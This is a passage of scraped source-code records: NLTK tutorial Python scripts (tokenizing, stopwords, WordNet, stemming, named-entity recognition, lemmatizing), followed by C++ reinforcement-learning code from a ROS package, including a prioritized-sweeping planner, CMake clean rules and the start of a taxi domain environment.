category)\n for category in movie_reviews.categories()\n for fileid in movie_reviews.fileids(category)]\n\n# document = []\n\n# for category in movie_reviews.categories():\n# for fileid in movie_reviews.fileids(category):\n# document.append(list(movie_reviews.words(fileid)), category)\n\nrandom.shuffle(document)\n\nall_words = []\nfor w in movie_reviews.words():\n all_words.append(w.lower())\n\nall_words = nltk.FreqDist(all_words)\n# get the top 15 most common words\nprint(all_words.most_common(15))\n# Get the number of times \"Stupid\" occurs in the review\nprint(all_words[\"stupid\"])" }, { "alpha_fraction": 0.7641128897666931, "alphanum_fraction": 0.7641128897666931, "avg_line_length": 28.235294342041016, "blob_id": "ca1bf9d20ce76b7fc4ba79bea041dbc0fbde143d", "content_id": "5e70667430cd5647ff0a00bebe801b7a3ebfbcb3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 496, "license_type": "no_license", "max_line_length": 85, "num_lines": 17, "path": "/tutorial-code/nltk-2.py", "repo_name": "MonsieurShaik/nltk-tutorials", "src_encoding": "UTF-8", "text": "from nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\n\nexample_sentence = \"This is an example to demo stop word filtration.\"\n# The words that are kind of useless for the language processor are called stopwords.\nstop_words = set(stopwords.words(\"english\"))\nprint(stop_words)\n\nwords = word_tokenize(example_sentence)\nfiltered_sentence = []\n\n# Filter the sentence.\nfor word in words:\n if word not in stop_words:\n filtered_sentence.append(word)\n\nprint(filtered_sentence)" }, { "alpha_fraction": 0.6848214268684387, "alphanum_fraction": 0.6848214268684387, "avg_line_length": 36.33333206176758, "blob_id": "b5d980c8b05cc9f8f872b7725691efa63f039819", "content_id": "d9beb23016451c5e43e119bd4d11a072e777b7f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1120, "license_type": "no_license", "max_line_length": 119, "num_lines": 30, "path": "/tutorial-code/nltk-1.py", "repo_name": "MonsieurShaik/nltk-tutorials", "src_encoding": "UTF-8", "text": "# Types of tokenizers\n# Word tokenizers - Tokenize by word.\n# Sentence tokenizers - Tokenize by sentences.\n\n# Corpora - Body of text. Eg: Medical journals, tech documentation.\n# Anything in English language.\n\n# Lexicon - Words and their meanings\n\n# Meanings are different in different speaks\n# Eg: Investor-speak vs English-speak\n# 'Bull' has different meanings in Investor-speak and English-speak.\n\n# Code on a using a tokenizer.\n\n# sent_tokenize = Sentence tokenizer, word_tokenize = Word tokenizer.\nfrom nltk.tokenize import sent_tokenize, word_tokenize\n\nexample_text = \"Hello Mr. Sameer! How are you? This is the first line of this code. This is simple, and important too.\"\n\n# Tokenize by sentence\n# Output: ['Hello Mr.', 'Guy!', 'How are you?', 'This is the first line of this code\n# .', 'This is simple, and important too.']\nprint(sent_tokenize(example_text))\n\n# Tokenize by word\n# Output: ['Hello', 'Mr.', 'Sameer', '!', 'How', 'are', 'you', '?', 'This', 'is', 't\n# he', 'first', 'line', 'of', 'this', 'code', '.', 'This', 'is', 'simple', '\n# ', 'and', 'important', 'too', '.']\nprint(word_tokenize(example_text))\n" }, { "alpha_fraction": 0.6269841194152832, "alphanum_fraction": 0.6643990874290466, "avg_line_length": 19.045454025268555, "blob_id": "2bdf3f6a18c022fc1f5711877d8eaf0e922bac72", "content_id": "a4b66f1c95fb8e42e033c7c38fefffaaddd3f7f6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 882, "license_type": "no_license", "max_line_length": 53, "num_lines": 44, "path": "/tutorial-code/nltk-wordnet.py", "repo_name": "MonsieurShaik/nltk-tutorials", "src_encoding": "UTF-8", "text": "from nltk.corpus import wordnet\n\nsyns = wordnet.synsets(\"program\")\n\n# synset\nprint(syns[0].name())\n\n# Just the word\nprint(syns[0].lemmas()[0].name())\n\n# definition\nprint(syns[0].definition())\n\n# examples\nprint(syns[0].examples())\n\nsynonyms = []\nantonyms = []\n\nfor syn in wordnet.synsets(\"good\"):\n for lem in syn.lemmas():\n synonyms.append(lem.name())\n if lem.antonyms():\n antonyms.append(lem.antonyms()[0].name())\n\nprint(set(synonyms))\nprint(set(antonyms))\n\n# Semantic similarities\n# ship.n.01 -> Ship - Noun - 1st of results\n# ship vs boat\nw1 = wordnet.synset(\"ship.n.01\")\nw2 = wordnet.synset(\"boat.n.01\")\nprint(w1.wup_similarity(w2))\n\n# ship vs car\nw1 = wordnet.synset(\"ship.n.01\")\nw2 = wordnet.synset(\"car.n.01\")\nprint(w1.wup_similarity(w2))\n\n# ship vs dog\nw1 = wordnet.synset(\"ship.n.01\")\nw2 = wordnet.synset(\"dog.n.01\")\nprint(w1.wup_similarity(w2))\n" }, { "alpha_fraction": 0.7444444298744202, "alphanum_fraction": 0.7444444298744202, "avg_line_length": 29.11111068725586, "blob_id": "bdc3323605ed4b1eb0bef8c3f7d8880ee045dfbe", "content_id": "ad09c9b33f40c92db6ef6c7d796eec61166e1de4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 270, "license_type": "no_license", "max_line_length": 75, "num_lines": 9, "path": "/tutorial-code/nltk-stemming.py", "repo_name": "MonsieurShaik/nltk-tutorials", "src_encoding": "UTF-8", "text": "from nltk.stem import PorterStemmer\nfrom nltk.tokenize import word_tokenize\n\nps = PorterStemmer()\n\n# Declare example words and stem the words.\nexample_words = [\"python\", \"pythoner\", \"pythoning\", \"pythoned\", \"pythonly\"]\nfor word in example_words:\n print(ps.stem(word))" }, { "alpha_fraction": 0.6680541038513184, "alphanum_fraction": 0.6774193644523621, "avg_line_length": 35.92307662963867, "blob_id": "017c32bb0018e1f233a7b0aa21f99bb3ae4ce533", "content_id": "840afd0d52d57f11ae8b8be2eb43c46455e14286", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 961, "license_type": "no_license", "max_line_length": 137, "num_lines": 26, "path": "/tutorial-code/nltk-ner.py", "repo_name": "MonsieurShaik/nltk-tutorials", "src_encoding": "UTF-8", "text": "import nltk\nfrom nltk.corpus import state_union\n# PunktSentenceTokenizer is an unsupervised machine learning sentence tokenizer. It comes pre-trained but you can retrain it if required.\nfrom nltk.tokenize import PunktSentenceTokenizer\n\ntrain_text = state_union.raw(\"2005-GWBush.txt\")\nsample_text = state_union.raw(\"2006-GWBush.txt\")\ncustom_sent_tokenizer = PunktSentenceTokenizer(sample_text)\ntokenized = custom_sent_tokenizer.tokenize(sample_text)\n\ndef process_content():\n try:\n for i in tokenized[5:]:\n words = nltk.word_tokenize(i)\n # Here pos = Part of speech\n tagged = nltk.pos_tag(words)\n\n # nltk.ne_chunk is used for Named entity recognition.\n # Error rate is kind of high for NLTK NER.\n namedEnt = nltk.ne_chunk(tagged)\n # namedEnt = nltk.ne_chunk(tagged, binary=True)\n namedEnt.draw()\n except Exception as e:\n print(str(e))\n\nprocess_content()\n\n" }, { "alpha_fraction": 0.7875000238418579, "alphanum_fraction": 0.7875000238418579, "avg_line_length": 35.3636360168457, "blob_id": "1314908e42dd36031bdde03844825ae559abfcfd", "content_id": "564955e31f35d91ca54fade7c5467fcb7d224ef9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 400, "license_type": "no_license", "max_line_length": 53, "num_lines": 11, "path": "/tutorial-code/nltk-lemmatizing.py", "repo_name": "MonsieurShaik/nltk-tutorials", "src_encoding": "UTF-8", "text": "from nltk.stem import WordNetLemmatizer\n\nlemmatizer = WordNetLemmatizer()\n# Default part of speech tag is noun for lemmatizing.\nprint(lemmatizer.lemmatize(\"cats\"))\nprint(lemmatizer.lemmatize(\"cacti\"))\nprint(lemmatizer.lemmatize(\"brooms\"))\nprint(lemmatizer.lemmatize(\"mops\"))\nprint(lemmatizer.lemmatize(\"bikes\"))\nprint(lemmatizer.lemmatize(\"better\", pos=\"a\"))\nprint(lemmatizer.lemmatize(\"implement\"))\n" } ]
8
jstestsuite/ros-test
https://github.com/jstestsuite/ros-test
c33e244794287e2665cace847a9faf1b596ddf92
b0bb5b06c1c18b804c0f0a4e2deb4d88be894d1f
bdf3c98e33c6bc9c8e0332043cc5a3a3f5e8ea42
refs/heads/master
2020-04-11T16:54:41.401198
2019-02-13T00:44:14
2019-02-13T00:44:14
161,938,209
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5413343906402588, "alphanum_fraction": 0.546482264995575, "avg_line_length": 24.399999618530273, "blob_id": "471f415a1a75a40ea734d12c453c00ad569f2c60", "content_id": "40815c68682e4dfa352f4ab4e554441cd5b85599", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 19814, "license_type": "no_license", "max_line_length": 102, "num_lines": 780, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Planners/PrioritizedSweeping.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include \"PrioritizedSweeping.hh\"\n#include <algorithm>\n\n//#include <time.h>\n#include <sys/time.h>\n\n\nPrioritizedSweeping::PrioritizedSweeping(int numactions, float gamma,\n float MAX_TIME, bool onlyAddLastSA, int modelType,\n const std::vector<float> &fmax, \n const std::vector<float> &fmin, \n Random r):\n numactions(numactions), gamma(gamma), MAX_TIME(MAX_TIME),\n onlyAddLastSA(onlyAddLastSA), modelType(modelType)\n{\n rng = r;\n nstates = 0;\n nactions = 0;\n\n timingType = false; //true;\n\n model = NULL;\n planTime = getSeconds();\n\n // algorithm options\n MAX_STEPS = 10; //50; //60; //80; //0; //5; //10;\n\n lastModelUpdate = -1;\n\n PLANNERDEBUG = false;\n POLICYDEBUG = false; //true; //false;\n ACTDEBUG = false; //true;\n MODELDEBUG = false; //true;\n LISTDEBUG = false; // true; //false;\n\n featmax = fmax;\n featmin = fmin;\n\n}\n\nPrioritizedSweeping::~PrioritizedSweeping() {}\n\nvoid PrioritizedSweeping::setModel(MDPModel* m){\n\n model = m;\n\n}\n\n\n/////////////////////////////\n// Functional functions :) //\n/////////////////////////////\n\n\nvoid PrioritizedSweeping::initNewState(state_t s){\n if (PLANNERDEBUG) cout << \"initNewState(s = \" << s\n << \") size = \" << s->size() << endl;\n\n if (MODELDEBUG) cout << \"New State: \" << endl;\n\n // create state info and add to hash map\n state_info* info = &(statedata[s]);\n initStateInfo(info);\n\n // init these from model\n for (int i = 0; i < numactions; i++){\n model->getStateActionInfo(*s, i, &(info->modelInfo[i]));\n }\n\n // we have to make sure q-values are initialized properly\n // or we'll get bizarre results (if these aren't swept over)\n for (int j = 0; j < numactions; j++){\n // update q values\n updateQValues(*s, j);\n info->Q[j] += rng.uniform(0,0.01);\n }\n\n if (PLANNERDEBUG) cout << \"done with initNewState()\" << endl;\n\n}\n\n/** Use the latest experience to update state info and the model. */\nbool PrioritizedSweeping::updateModelWithExperience(const std::vector<float> &laststate,\n int lastact,\n const std::vector<float> &currstate,\n float reward, bool term){\n if (PLANNERDEBUG) cout << \"updateModelWithExperience(last = \" << &laststate\n << \", curr = \" << &currstate\n << \", lastact = \" << lastact\n << \", r = \" << reward\n << \")\" << endl;\n\n if (!timingType)\n planTime = getSeconds();\n\n // canonicalize these things\n state_t last = canonicalize(laststate);\n state_t curr = canonicalize(currstate);\n\n prevstate = laststate;\n prevact = lastact;\n\n // if not transition to terminal\n if (curr == NULL)\n return false;\n\n // get state info\n state_info* info = &(statedata[last]);\n\n // update the state visit count\n info->visits[lastact]++;\n\n // init model?\n if (model == NULL){\n cout << \"ERROR IN MODEL OR MODEL SIZE\" << endl;\n exit(-1);\n }\n\n experience e;\n e.s = *last;\n e.next = *curr;\n e.act = lastact;\n e.reward = reward;\n e.terminal = term;\n bool modelChanged = model->updateWithExperience(e);\n\n if (PLANNERDEBUG) cout << \"Added exp: \" << modelChanged << endl;\n if (timingType)\n planTime = getSeconds();\n\n return modelChanged;\n\n}\n\n\n\n/** Update our state info's from the model by calling the model function */\nvoid PrioritizedSweeping::updateStatesFromModel(){\n if (PLANNERDEBUG || LISTDEBUG) cout << \"updateStatesFromModel()\" << endl;\n\n // for each state\n for (std::set<std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n for (int j = 0; j < numactions; j++){\n updateStateActionFromModel(*i, j);\n }\n\n }\n\n}\n\n\n\n\n/** Choose the next action */\nint PrioritizedSweeping::getBestAction(const std::vector<float> &state){\n if (PLANNERDEBUG) cout << \"getBestAction(s = \" << &state\n << \")\" << endl;\n\n state_t s = canonicalize(state);\n\n // get state info\n state_info* info = &(statedata[s]);\n\n // Get Q values\n std::vector<float> &Q = info->Q;\n\n // Choose an action\n const std::vector<float>::iterator a =\n random_max_element(Q.begin(), Q.end()); // Choose maximum\n\n int act = a - Q.begin();\n float val = *a;\n\n if (ACTDEBUG){\n cout << endl << \"chooseAction State \" << (*s)[0] << \",\" << (*s)[1]\n << \" act: \" << act << \" val: \" << val << endl;\n for (int iAct = 0; iAct < numactions; iAct++){\n cout << \" Action: \" << iAct\n << \" val: \" << Q[iAct]\n << \" visits: \" << info->visits[iAct]\n << \" modelsAgree: \" << info->modelInfo[iAct].known << endl;\n }\n }\n\n nactions++;\n\n // return index of action\n return act;\n}\n\n\n\nvoid PrioritizedSweeping::planOnNewModel(){\n\n // update model info\n\n // print state\n if (PLANNERDEBUG){\n cout << endl << endl << \"Before update\" << endl << endl;\n printStates();\n }\n\n // tabular - can just update last state-action from model.\n if (false && modelType == RMAX){\n updateStateActionFromModel(prevstate, prevact);\n }\n else {\n updateStatesFromModel();\n }\n\n // just add last state action (this is normal prioritized sweeping).\n // if bool was false, will have checked for differences and added them in update above\n if (onlyAddLastSA || modelType == RMAX){\n float diff = updateQValues(prevstate, prevact);\n addSAToList(prevstate, prevact, diff);\n }\n\n if (PLANNERDEBUG){\n cout << endl << endl << \"After update\" << endl << endl;\n printStates();\n }\n\n // run value iteration\n createPolicy();\n\n}\n\n\n////////////////////////////\n// Helper Functions //\n////////////////////////////\n\nPrioritizedSweeping::state_t PrioritizedSweeping::canonicalize(const std::vector<float> &s) {\n if (PLANNERDEBUG) cout << \"canonicalize(s = \" << s[0] << \", \"\n << s[1] << \")\" << endl;\n\n // get state_t for pointer if its in statespace\n const std::pair<std::set<std::vector<float> >::iterator, bool> result =\n statespace.insert(s);\n state_t retval = &*result.first; // Dereference iterator then get pointer\n\n if (PLANNERDEBUG) cout << \" returns \" << retval\n << \" New: \" << result.second << endl;\n\n // if not, init this new state\n if (result.second) { // s is new, so initialize Q(s,a) for all a\n initNewState(retval);\n if (PLANNERDEBUG) cout << \" New state initialized\" << endl;\n }\n\n\n return retval;\n}\n\n// init state info\nvoid PrioritizedSweeping::initStateInfo(state_info* info){\n if (PLANNERDEBUG) cout << \"initStateInfo()\";\n\n info->id = nstates++;\n if (PLANNERDEBUG) cout << \" id = \" << info->id << endl;\n\n info->fresh = true;\n\n // model data (transition, reward, known)\n info->modelInfo = new StateActionInfo[numactions];\n\n // model q values, visit counts\n info->visits.resize(numactions, 0);\n info->Q.resize(numactions, 0);\n info->lastUpdate.resize(numactions, nactions);\n\n for (int i = 0; i < numactions; i++){\n info->Q[i] = rng.uniform(0,1);\n }\n\n if (PLANNERDEBUG) cout << \"done with initStateInfo()\" << endl;\n\n}\n\n\n/** Print state info for debugging. */\nvoid PrioritizedSweeping::printStates(){\n\n for (std::set< std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n state_t s = canonicalize(*i);\n\n state_info* info = &(statedata[s]);\n\n cout << endl << \"State \" << info->id << \": \";\n for (unsigned j = 0; j < s->size(); j++){\n cout << (*s)[j] << \", \";\n }\n cout << endl;\n\n for (int act = 0; act < numactions; act++){\n cout << \" visits[\" << act << \"] = \" << info->visits[act]\n << \" Q: \" << info->Q[act]\n << \" R: \" << info->modelInfo[act].reward << endl;\n\n cout << \" Next states: \" << endl;\n for (std::map<std::vector<float>, float>::iterator outIt\n = info->modelInfo[act].transitionProbs.begin();\n outIt != info->modelInfo[act].transitionProbs.end(); outIt++){\n\n std::vector<float> nextstate = (*outIt).first;\n float prob = (*outIt).second;\n\n cout << \" State \";\n for (unsigned k = 0; k < nextstate.size(); k++){\n cout << nextstate[k] << \", \";\n }\n cout << \" prob: \" << prob << endl;\n\n } // end of next states\n\n } // end of actions\n\n // print predecessors\n for (std::list<saqPair>::iterator x = info->pred.begin();\n x != info->pred.end(); x++){\n\n std::vector<float> s = (*x).s;\n int a = (*x).a;\n\n cout << \"Has predecessor state: \";\n for (unsigned k = 0; k < s.size(); k++){\n cout << s[k] << \", \";\n }\n cout << \" action: \" << a << endl;\n }\n\n }\n}\n\n\n\n\n\nvoid PrioritizedSweeping::deleteInfo(state_info* info){\n\n delete [] info->modelInfo;\n\n}\n\n\ndouble PrioritizedSweeping::getSeconds(){\n struct timezone tz;\n timeval timeT;\n gettimeofday(&timeT, &tz);\n return timeT.tv_sec + (timeT.tv_usec / 1000000.0);\n}\n\n\n/** Create policy through prioritized sweeping. */\nvoid PrioritizedSweeping::createPolicy(){\n if (POLICYDEBUG) cout << endl << \"createPolicy()\" << endl;\n\n /*\n // loop through all states, add them all to queue with some high value.\n for (std::set<std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n saqPair saq;\n saq.s = *i;\n saq.q = 100.0;\n\n for (int j = 0; j < numactions; j++){\n saq.a = j;\n\n if (LISTDEBUG){\n cout << \"Added state \";\n for (unsigned k = 0; k < saq.s.size(); k++){\n cout << saq.s[k] << \", \";\n }\n cout << \" action: \" << saq.a << endl;\n }\n\n priorityList.push_front(saq);\n }\n }\n */\n\n // add last state-action to priority list\n //addSAToList(prevstate, prevact, 100.0);\n\n int updates = 0;\n\n // go through queue, doing prioritized sweeping. until nothing left on queue.\n while (!priorityList.empty()){\n\n if ((getSeconds() - planTime) > MAX_TIME)\n break;\n\n // print list!\n if (LISTDEBUG){\n cout << endl << \"Current List (\" << updates << \"):\" << endl;\n for (std::list<saqPair>::iterator k = priorityList.begin(); k != priorityList.end(); k++){\n cout << \"State: \";\n for (unsigned l = 0; l < (*k).s.size(); l++){\n cout << (*k).s[l] << \", \";\n }\n cout << \" act: \" << (*k).a << \" Q: \" << (*k).q << endl;\n }\n }\n\n updates++;\n\n // pull off first item\n saqPair currUpdate = priorityList.front();\n priorityList.pop_front();\n\n state_t s = canonicalize(currUpdate.s);\n\n // get state's info\n state_info* info = &(statedata[s]);\n\n updatePriorityList(info, *s);\n\n } // is list empty loop\n\n\n priorityList.clear();\n\n if (LISTDEBUG)\n cout << \"priority list complete after updates to \"\n << updates << \" states.\" <<endl;\n\n}\n\n\nvoid PrioritizedSweeping::updatePriorityList(state_info* info,\n const std::vector<float> &next){\n if (LISTDEBUG) cout << \"update priority list\" << endl;\n\n float MIN_ERROR = 0.01;\n\n // find maxq at this state\n std::vector<float>::iterator maxAct =\n std::max_element(info->Q.begin(),\n info->Q.end());\n float maxval = *maxAct;\n\n if (LISTDEBUG) cout << \" maxQ at this state: \" << maxval << endl;\n\n // loop through all s,a predicted to lead to this state\n for (std::list<saqPair>::iterator i = info->pred.begin();\n i != info->pred.end(); i++){\n\n if ((getSeconds() - planTime) > MAX_TIME)\n break;\n\n std::vector<float> s = (*i).s;\n int a = (*i).a;\n\n if (LISTDEBUG) {\n cout << endl << \" For predecessor state: \";\n for (unsigned j = 0; j < s.size(); j++){\n cout << s[j] << \", \";\n }\n cout << \" action: \" << a << endl;\n }\n\n // figure out amount of update\n float diff = updateQValues(s, a);\n\n if (LISTDEBUG) {\n cout << \" diff: \" << diff << endl;\n }\n // possibly add to queue\n if (diff > MIN_ERROR){\n saqPair saq;\n saq.s = s;\n saq.a = a;\n saq.q = diff;\n\n // find spot for it in queue\n if (priorityList.empty()){\n if (LISTDEBUG) cout << \" empty list\" << endl;\n priorityList.push_front(saq);\n }\n else {\n\n // check that its not already in queue\n for (std::list<saqPair>::iterator k = priorityList.begin(); k != priorityList.end(); k++){\n // matched\n if (saqPairMatch(saq, *k)){\n if (LISTDEBUG)\n cout << \" found matching element already in list\" << endl;\n\n priorityList.erase(k);\n break;\n }\n\n }\n\n int l = 0;\n std::list<saqPair>::iterator k;\n for (k = priorityList.begin(); k != priorityList.end(); k++){\n if (LISTDEBUG)\n cout << \" Element \" << l << \" has q value \" << (*k).q << endl;\n if (diff > (*k).q){\n if (LISTDEBUG)\n cout << \" insert at \" << l << endl;\n priorityList.insert(k, saq);\n break;\n }\n l++;\n }\n // put this at the end\n if (k == priorityList.end()){\n if (LISTDEBUG)\n cout << \" insert at end\" << endl;\n priorityList.push_back(saq);\n }\n\n } // not empty\n\n\n } else {\n if (LISTDEBUG){\n cout << \" Error \" << diff << \" not big enough to put on list.\" << endl;\n }\n }\n }\n}\n\n\nbool PrioritizedSweeping::saqPairMatch(saqPair a, saqPair b){\n if (a.a != b.a)\n return false;\n\n for (unsigned i = 0; i < a.s.size(); i++){\n if (a.s[i] != b.s[i])\n return false;\n }\n\n return true;\n}\n\n\n\nfloat PrioritizedSweeping::updateQValues(const std::vector<float> &state, int act){\n\n state_t s = canonicalize(state);\n\n // get state's info\n state_info* info = &(statedata[s]);\n\n // see if we should update mode for this state,action\n /*\n if (info->lastUpdate[act] < lastModelUpdate){\n if (LISTDEBUG) {\n cout << \"Updating this state action. Last updated at \"\n << info->lastUpdate[act]\n << \" last model update: \" << lastModelUpdate << endl;\n }\n updateStateActionFromModel(state, act);\n }\n */\n\n if (LISTDEBUG || POLICYDEBUG){\n cout << endl << \" State: id: \" << info->id << \": \" ;\n for (unsigned si = 0; si < s->size(); si++){\n cout << (*s)[si] << \",\";\n }\n }\n\n // get state action info for this action\n StateActionInfo *modelInfo = &(info->modelInfo[act]);\n\n if (LISTDEBUG || POLICYDEBUG)\n cout << \" Action: \" << act\n << \" State visits: \" << info->visits[act] << endl;\n\n // Q = R + discounted val of next state\n // this is the R part :)\n float newQ = modelInfo->reward;\n\n float probSum = modelInfo->termProb;\n\n // for all next states, add discounted value appropriately\n // loop through next state's that are in this state-actions list\n for (std::map<std::vector<float>, float>::iterator outIt\n = modelInfo->transitionProbs.begin();\n outIt != modelInfo->transitionProbs.end(); outIt++){\n\n std::vector<float> nextstate = (*outIt).first;\n\n if (POLICYDEBUG){\n cout << \" Next state was: \";\n for (unsigned oi = 0; oi < nextstate.size(); oi++){\n cout << nextstate[oi] << \",\";\n }\n cout << endl;\n }\n\n // get transition probability\n float transitionProb = (1.0-modelInfo->termProb) *\n modelInfo->transitionProbs[nextstate];\n\n probSum += transitionProb;\n\n if (POLICYDEBUG)\n cout << \" prob: \" << transitionProb << endl;\n\n if (transitionProb < 0 || transitionProb > 1.0001){\n cout << \"Error with transitionProb: \" << transitionProb << endl;\n exit(-1);\n }\n\n // if there is some probability of this transition\n if (transitionProb > 0.0){\n\n // assume maxval of qmax if we don't know the state\n float maxval = 0.0;\n\n // make sure its a real state\n bool realState = true;\n\n\n for (unsigned b = 0; b < nextstate.size(); b++){\n if (nextstate[b] < (featmin[b]-EPSILON)\n || nextstate[b] > (featmax[b]+EPSILON)){\n realState = false;\n if (POLICYDEBUG)\n cout << \" Next state is not valid (feature \"\n << b << \" out of range)\" << endl;\n break;\n }\n }\n\n\n\n // update q values for any states within MAX_STEPS of visited states\n if (realState){\n\n state_t next = canonicalize(nextstate);\n\n state_info* nextinfo = &(statedata[next]);\n //nextinfo->fresh = false;\n\n // find the max value of this next state\n std::vector<float>::iterator maxAct =\n std::max_element(nextinfo->Q.begin(),\n nextinfo->Q.end());\n maxval = *maxAct;\n\n } // within max steps\n else {\n maxval = 0.0;\n if (POLICYDEBUG){\n cout << \"This state is too far away, state: \";\n for (unsigned si = 0; si < s->size(); si++){\n cout << (*s)[si] << \",\";\n }\n cout << \" Action: \" << act << endl;\n }\n }\n\n nextstate.clear();\n\n if (POLICYDEBUG) cout << \" Max value: \" << maxval << endl;\n\n // update q value with this value\n newQ += (gamma * transitionProb * maxval);\n\n } // transition probability > 0\n\n } // outcome loop\n\n\n if (probSum < 0.9999 || probSum > 1.0001){\n cout << \"Error: transition probabilities do not add to 1: Sum: \"\n << probSum << endl;\n exit(-1);\n }\n\n\n // set q value\n float tdError = fabs(info->Q[act] - newQ);\n if (LISTDEBUG || POLICYDEBUG) cout << \" NewQ: \" << newQ\n << \" OldQ: \" << info->Q[act] << endl;\n info->Q[act] = newQ;\n\n return tdError;\n}\n\nvoid PrioritizedSweeping::addSAToList(const std::vector<float> &s, int act, float q){\n\n saqPair saq;\n saq.s = s;\n saq.a = act;\n saq.q = q;\n\n if (LISTDEBUG){\n cout << \"Added state \";\n for (unsigned k = 0; k < saq.s.size(); k++){\n cout << saq.s[k] << \", \";\n }\n cout << \" action: \" << saq.a\n << \" value: \" << saq.q << endl;\n }\n\n priorityList.push_front(saq);\n\n}\n\n\n\n/** Update a single state-action from the model */\nvoid PrioritizedSweeping::updateStateActionFromModel(const std::vector<float> &state, int a){\n\n if ((getSeconds() - planTime) > MAX_TIME)\n return;\n\n state_t s = canonicalize(state);\n\n // get state's info\n state_info* info = &(statedata[s]);\n\n int j = a;\n\n // get updated model\n model->getStateActionInfo(*s, j, &(info->modelInfo[j]));\n info->lastUpdate[j] = nactions;\n\n if (info->modelInfo[j].termProb >= 1.0)\n return;\n\n // go through next states, for each one, add self to predecessor list\n for (std::map<std::vector<float>, float>::iterator outIt\n = info->modelInfo[j].transitionProbs.begin();\n outIt != info->modelInfo[j].transitionProbs.end(); outIt++){\n\n std::vector<float> nextstate = (*outIt).first;\n state_t next = canonicalize(nextstate);\n state_info* nextinfo = &(statedata[next]);\n //float prob = (*outIt).second;\n\n if (LISTDEBUG){\n cout << \"State \";\n for (unsigned k = 0; k < nextstate.size(); k++){\n cout << nextstate[k] << \", \";\n }\n cout << \" has predecessor: \";\n for (unsigned k = 0; k < nextstate.size(); k++){\n cout << (*s)[k] << \", \";\n }\n cout << \" action: \" << j << endl;\n }\n\n saqPair saq;\n saq.s = *s;\n saq.a = j;\n saq.q = 0.0;\n\n // add to list\n // check that its not already here\n bool nothere = true;\n for (std::list<saqPair>::iterator k = nextinfo->pred.begin();\n k != nextinfo->pred.end(); k++){\n if (saqPairMatch(saq, *k)){\n nothere = false;\n break;\n }\n }\n if (nothere)\n nextinfo->pred.push_front(saq);\n\n }\n\n info->fresh = false;\n\n //if (PLANNERDEBUG || LISTDEBUG) cout << \" updateStatesFromModel i = \" << &i << \" complete\" << endl;\n\n}\n\n\n" }, { "alpha_fraction": 0.7811634540557861, "alphanum_fraction": 0.7811634540557861, "avg_line_length": 35.099998474121094, "blob_id": "87306360657ef24f3ab2f5b64ad9cbb0c2099d16", "content_id": "72d1d7ea8a5e17cb7b241e9fb6e72f01b6271b8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 361, "license_type": "no_license", "max_line_length": 76, "num_lines": 10, "path": "/build/roundbot_control/CMakeFiles/diff_controller.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/diff_controller.dir/src/DiffController.cpp.o\"\n \"/home/justin/ros_test/devel/lib/libdiff_controller.pdb\"\n \"/home/justin/ros_test/devel/lib/libdiff_controller.so\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/diff_controller.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.7570093274116516, "alphanum_fraction": 0.7570093274116516, "avg_line_length": 31.100000381469727, "blob_id": "f2ce96247d9f3ac15de13b83070a3c92ecc8aaa5", "content_id": "d052ce1154538e7d3e43ba3fb5f67d584484a97f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 321, "license_type": "no_license", "max_line_length": 66, "num_lines": 10, "path": "/build/rl-texplore-ros-pkg-master/src/rl_agent/CMakeFiles/agent.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/agent.dir/src/agent.cpp.o\"\n \"/home/justin/ros_test/devel/lib/rl_agent/agent.pdb\"\n \"/home/justin/ros_test/devel/lib/rl_agent/agent\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/agent.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.5434399843215942, "alphanum_fraction": 0.5663340091705322, "avg_line_length": 21.051780700683594, "blob_id": "b7bf56aea894f634851a620ab1848b299a9c81cc", "content_id": "4432f10a2f929c15b3062c31583f76e9666015a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6814, "license_type": "no_license", "max_line_length": 106, "num_lines": 309, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/taxi.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file taxi.cc\n Implements the taxi domain, from:\n Dietterich, \"The MAXQ method for hierarchical reinforcement learning,\" ICML 1998.\n \\author Todd Hester\n \\author Nick Jong\n*/\n\n#include <rl_env/taxi.hh>\n\nconst Taxi::DefaultLandmarks Taxi::defaultlandmarks;\n\nTaxi::DefaultLandmarks::DefaultLandmarks() {\n push_back(value_type(4.,0.));\n push_back(value_type(0.,3.));\n push_back(value_type(4.,4.));\n push_back(value_type(0.,0.));\n}\n\nTaxi::Taxi(Random &rand, const Gridworld *gridworld, bool stochastic):\n grid(gridworld), landmarks(4), noisy(stochastic), rng(rand),\n s(4),\n ns(s[0]),\n ew(s[1]),\n pass(s[2]),\n dest(s[3])\n{\n randomize_landmarks_to_corners();\n reset();\n}\n\nTaxi::Taxi(Random &rand):\n grid(create_default_map()),\n landmarks(defaultlandmarks),\n noisy(false),\n rng(rand),\n s(4),\n 